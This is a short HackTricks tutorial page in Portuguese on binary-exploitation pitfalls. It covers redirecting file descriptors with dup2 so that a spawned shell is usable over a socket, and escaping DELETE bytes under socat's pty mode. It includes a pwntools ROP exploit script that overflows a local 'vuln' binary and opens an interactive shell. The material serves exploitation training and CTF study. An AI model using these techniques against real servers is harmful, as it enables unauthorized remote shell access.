Common Exploiting Problems

Support HackTricks

FDs na Exploração Remota

Ao enviar um exploit para um servidor remoto que chama system('/bin/sh') por exemplo, isso será executado no processo do servidor, e /bin/sh esperará entrada do stdin (FD: 0) e imprimirá a saída no stdout e stderr (FDs 1 e 2). Portanto, o atacante não poderá interagir com o shell.

Uma maneira de corrigir isso é supor que quando o servidor foi iniciado, ele criou o FD número 3 (para escuta) e que então, sua conexão estará no FD número 4. Portanto, é possível usar a syscall dup2 para duplicar o stdin (FD 0) e o stdout (FD 1) no FD 4 (o da conexão do atacante) para que seja viável contatar o shell uma vez que ele seja executado.

Exemplo de exploit daqui:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Note que o socat já transfere stdin e stdout para o socket. No entanto, o modo pty inclui caracteres DELETE. Portanto, se você enviar um \x7f ( DELETE -) ele deletará o caractere anterior do seu exploit.

Para contornar isso, o caractere de escape \x16 deve ser precedido a qualquer \x7f enviado.

Aqui você pode encontrar um exemplo desse comportamento.

Support HackTricks

Last updated